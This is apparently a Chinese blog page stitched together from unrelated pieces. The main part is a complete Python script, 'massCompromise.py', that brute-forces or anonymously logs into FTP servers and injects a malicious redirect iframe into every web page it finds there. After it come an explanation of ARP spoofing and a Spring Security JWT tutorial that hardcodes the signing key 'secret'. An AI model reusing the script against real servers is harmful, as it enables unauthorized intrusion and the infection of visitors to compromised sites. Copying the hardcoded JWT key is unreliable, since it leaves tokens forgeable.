整合攻击代码

#!/usr/bin/python
#coding=utf-8

import ftplib
import optparse
import time

#实现攻击
def attack(username, password, tgtHost, redirect):
	ftp = ftplib.FTP(tgtHost)
	ftp.login(username, password)
	defPages = returnDefault(ftp)
	for defPage in defPages:
		injectPage(ftp, defPage, redirect)

#验证匿名登陆
def anonLogin(hostname):
	try:
		ftp = ftplib.FTP(hostname)
		ftp.login('anonymous', '123@123.com')
		print '\n[*] ' + str(hostname) + ' FTP Anonymous Logon Succeded.'
		ftp.quit()
		return True
	except Exception, e:
		print '\n[-] ' + str(hostname) + ' FTP Anonymous Logon Failed.'
		return False

#提取用户名密码并逐一尝试登陆
def bruteLogin(hostname, passwdFile):
	pF = open(passwdFile, 'r')
	for line in pF.readlines():
		username = line.split(':')[0]
		password = line.split(':')[1].strip('\r').strip('\n')
		print '[+] Trying: ' + username + '/' + password
		try:
			ftp = ftplib.FTP(hostname)
			ftp.login(username, password)
			print '\n[*] ' + str(hostname) + ' FTP Logon Succeded: ' + username + '/' + password
			ftp.quit()
			return (username, password)
		except Exception, e:
			pass
	print '\n[-] Could not brubrute force FTP credentials.'
	return (None, None)

#列出指定搜索的文档
def returnDefault(ftp):
	try:
		#获取目录下的文件
		dirList = ftp.nlst()
	except:
		dirList = []
		print '[-] Could not list directory contents.'
		print '[-] Skipping To Next Target.'
		return

	retList = []
	for filename in dirList:
		fn = filename.lower()
		#设定文件搜索条件
		if '.php' in fn or '.asp' in fn or '.htm' in fn or '.html' in fn:
			print '[+] Found default page: ' + filename
			retList.append(filename)
	return retList

#下载-改写-插入-上传
def injectPage(ftp, page, redirect):
	f = open(page + '.tmp', 'w')
	#下载FTP文件
	ftp.retrlines('RETR ' + page, f.write)
	print '[+] Downloaded page: ' +  page
	#写入文件
	f.write(redirect)
	f.close()
	print '[+] Injected Malicious IFrame on: ' + page
	#上传目标文件
	ftp.storlines('STOR ' + page, open(page + '.tmp'))
	print '[+] Uploaded Injected Page: ' + page

def main():
	#参数设置
	parser = optparse.OptionParser('[*] Usage : ./massCompromise.py -H <target host[s]> -r <redirect page> -f <userpass file>')
	parser.add_option('-H', dest = 'hosts', type = 'string', help = 'specift target host')
	parser.add_option('-r', dest = 'redirect', type = 'string', help = 'specift redirect page')
	parser.add_option('-f', dest = 'file', type = 'string', help = 'specify userpass file')
	(options, args) = parser.parse_args()

	#可以列出多个目标,用,分隔
	hosts = str(options.hosts).split(',')
	redirect = options.redirect
	file = options.file

	#判断主机或攻击代码是否存在
	if hosts == None or redirect == None:
		print parser.usage
		exit(0)

	#从列表中取对象,逐一验证
	for host in hosts:
		username = None
		password = None
		#验证是否可以匿名登陆
    	if anonLogin(host) == True:
    		username = 'anonymous'
    		password = '123@123.com'
    		print '[+] Using Anonymous Creds to attack'
    		attack(username, password, host, redirect)
    	#如果密码暴破文档存在
    	if file != None:
    		#验证用户名密码
    		(username, password) = bruteLogin(host, file)
    		#如果找到密码
    		if password != None:
    			print '[+] Using Cred: ' + username + '/' + password + ' to attack'
    			attack(username, password, host, redirect)

if __name__ == '__main__':
 	main()

现在有一台计算机A(IP:192.168.85.1 MAC:AA-AA-AA-AA-AA-AA),另一台计算机B(IP:192.168.85.100 MAC:BB-BB-BB-BB-BB-BB)现在用A去 ping B。看见 Reply from 192.168.85.100: bytes=32 time<10ms TTL=32 这样的信息。然后在运行中输入arp -a,会看见 192.168.8.100 BB-BB-BB-BB-BB-BB dynamic这样的信息。那就是arp高速缓存中IP地址和MAC地址的一个映射关系,在以太网中,数据传递靠的是MAC,而并不是IP地址。其实在这背后就隐藏着arp的秘密。你一定会问,网络上这么多计算机,A是怎么找到B的?那么我们就来分析一下细节。首先A并不知道B在哪里,那么A首先就会发一个广播的ARP请求,即目的MAC为FF-FF-FF-FF-FF-FF,目的IP为B的192.168.85.100,再带上自己的源IP,和源 MAC。那么一个网段上的所有计算机都会接收到来自A的ARP请求,由于每台计算机都有自己唯一的MAC和IP,那么它会分析目的IP即 192.168.85.100是不是自己的IP?如果不是,网卡会自动丢弃数据包。如果B接收到了,经过分析,目的IP是自己的,于是更新自己的ARP高速缓存,记录下A的IP和MAC。然后B就会回应A一个ARP应答,就是把A的源IP,源MAC变成现在目的IP,和目的MAC,再带上自己的源IP,源 MAC,发送给A。当A机接收到ARP应答后,更新自己的ARP高速缓存,即把arp应答中的B机的源IP,源MAC的映射关系记录在高速缓存中。那么现在A机中有B的MAC和IP,B机中也有A的MAC和IP。arp请求和应答过程就结束了。由于arp高速缓存是会定时自动更新的,在没有静态绑定的情况下,IP和MAC的映射关系会随时间流逝自动消失。在以后的通信中,A在和B通信时,会首先察看arp高速缓存中有没有B的IP和MAC的映射关系,如果有,就直接取得MAC地址,如果没有就再发一次ARP请求的广播,B再应答即重复上面动作。 好了在了解了上面基本arp通信过程后,arp欺骗就不那神秘了,计算机在接收到ARP应答的时候,不管有没有发出ARP请求,都会更新自己的高速缓存。利用这点如果C机(IP:192.168.85.200 MAC:CC-CC-CC-CC-CC-CC)伪装成B机向A发出ARP应答,自己伪造B机的源MAC为CC-CC-CC-CC-CC-CC,源IP依旧伪造成B的IP即192.168.85.100,是那么A机的ARP缓存就会被我们伪造的MAC所更新,192.168.85.100对应的MAC就会变成CC-CC-CC-CC-CC-CC.如果A机再利用192.168.85.100即B的IP和B通信,实际上数据包却发给了C机,B机根本就接收不到了。实例基于WINCAP编写,描述其本源理与流程.
Spring Security是一个功能强大的框架,可以保护我们的应用程序免受各种攻击,而JWT是一种轻量级的身份验证和授权机制。将它们结合使用可以提供更好的安全性。 下面是整合Spring Security和JWT的代码示例: 1. 添加依赖 在pom.xml文件中添加以下依赖: ``` <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-security</artifactId> </dependency> <dependency> <groupId>io.jsonwebtoken</groupId> <artifactId>jjwt</artifactId> <version>0.9.1</version> </dependency> ``` 2. 创建JWT工具类 创建一个JWT工具类,用于生成和解析JWT令牌。下面是一个简单的实现: ``` public class JwtUtil { private static final String SECRET_KEY = "secret"; public static String createToken(String username) { Date now = new Date(); Date expiration = new Date(now.getTime() + 3600000); // 1 hour return Jwts.builder() .setSubject(username) .setIssuedAt(now) .setExpiration(expiration) .signWith(SignatureAlgorithm.HS256, SECRET_KEY) .compact(); } public static String getUsernameFromToken(String token) { return Jwts.parser() .setSigningKey(SECRET_KEY) .parseClaimsJws(token) .getBody() .getSubject(); } public static boolean validateToken(String token) { try { Jwts.parser().setSigningKey(SECRET_KEY).parseClaimsJws(token); return true; } catch (JwtException | IllegalArgumentException e) { return false; } } } ``` 3. 创建用户服务 创建一个用户服务,用于从数据库中获取用户信息。这里我们假设我们的用户信息存储在一个User类中。 ``` @Service public class UserService implements UserDetailsService { private final UserRepository userRepository; public UserService(UserRepository userRepository) { this.userRepository = userRepository; } @Override public UserDetails loadUserByUsername(String username) throws UsernameNotFoundException { User user = userRepository.findByUsername(username) .orElseThrow(() -> new UsernameNotFoundException("User not found with username: " + username)); return new org.springframework.security.core.userdetails.User(user.getUsername(), user.getPassword(), new ArrayList<>()); } } ``` 4. 创建安全配置 创建一个安全配置类,用于配置Spring Security和JWT。下面是一个简单的实现: ``` @Configuration @EnableWebSecurity public class SecurityConfig extends WebSecurityConfigurerAdapter { private final UserService userService; public SecurityConfig(UserService userService) { this.userService = userService; } @Bean public PasswordEncoder passwordEncoder() { return new BCryptPasswordEncoder(); } @Bean @Override public AuthenticationManager authenticationManagerBean() throws Exception { return super.authenticationManagerBean(); } @Override protected void configure(AuthenticationManagerBuilder auth) throws Exception { auth.userDetailsService(userService).passwordEncoder(passwordEncoder()); } @Override protected void configure(HttpSecurity http) throws Exception { http.csrf().disable() .authorizeRequests() .antMatchers("/login").permitAll() .anyRequest().authenticated() .and() .sessionManagement().sessionCreationPolicy(SessionCreationPolicy.STATELESS); http.addFilterBefore(jwtTokenFilter(), UsernamePasswordAuthenticationFilter.class); } @Bean public JwtTokenFilter jwtTokenFilter() { return new JwtTokenFilter(); } } ``` 5. 创建JWT过滤器 创建一个JWT过滤器,用于从请求中提取JWT令牌并验证用户身份。下面是一个简单的实现: ``` public class JwtTokenFilter extends OncePerRequestFilter { private final UserService userService; public JwtTokenFilter(UserService userService) { this.userService = userService; } @Override protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain chain) throws ServletException, IOException { String header = request.getHeader("Authorization"); if (header != null && header.startsWith("Bearer ")) { String token = header.substring(7); if (JwtUtil.validateToken(token)) { String username = JwtUtil.getUsernameFromToken(token); UserDetails userDetails = userService.loadUserByUsername(username); UsernamePasswordAuthenticationToken authentication = new UsernamePasswordAuthenticationToken( userDetails, null, userDetails.getAuthorities()); authentication.setDetails(new WebAuthenticationDetailsSource().buildDetails(request)); SecurityContextHolder.getContext().setAuthentication(authentication); } } chain.doFilter(request, response); } } ``` 6. 创建登录控制器 创建一个登录控制器,用于验证用户身份并生成JWT令牌。下面是一个简单的实现: ``` @RestController public class LoginController { @PostMapping("/login") public ResponseEntity<String> login(@RequestBody LoginForm loginForm) { try { Authentication authentication = authenticationManager.authenticate( new UsernamePasswordAuthenticationToken(loginForm.getUsername(), loginForm.getPassword())); SecurityContextHolder.getContext().setAuthentication(authentication); String token = JwtUtil.createToken(loginForm.getUsername()); return ResponseEntity.ok(token); } catch (AuthenticationException e) { return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build(); } } } ``` 这样我们就完成了Spring Security和JWT的整合。当用户登录时,我们将使用JWT令牌来保护应用程序的安全性。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值